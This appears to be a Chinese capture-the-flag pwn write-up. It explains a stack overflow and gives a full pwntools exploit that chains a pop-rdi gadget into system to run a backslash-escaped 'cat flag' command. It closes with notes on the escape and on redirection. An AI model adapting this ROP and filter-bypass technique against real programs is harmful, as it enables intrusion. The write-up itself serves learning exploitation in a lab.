查看保护
查看ida
这里有一次栈溢出,并且题目给了我们system函数。
这里的知识点没有那么复杂
完整exp:
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()
#补充点1:这里的\\是转义符,它所占的字节数并不是2个
payload=b"cat flag 1>&2"
payload=b"c\at flag 1>&2"
payload=b"c\\at flag 1>&2"
所以在这里\\只占一个字节的位置,刚好达到输入上限
#补充点2:这里的system用system的plt会报错
#补充点3:这里不能把标准输出重定向到0,会报错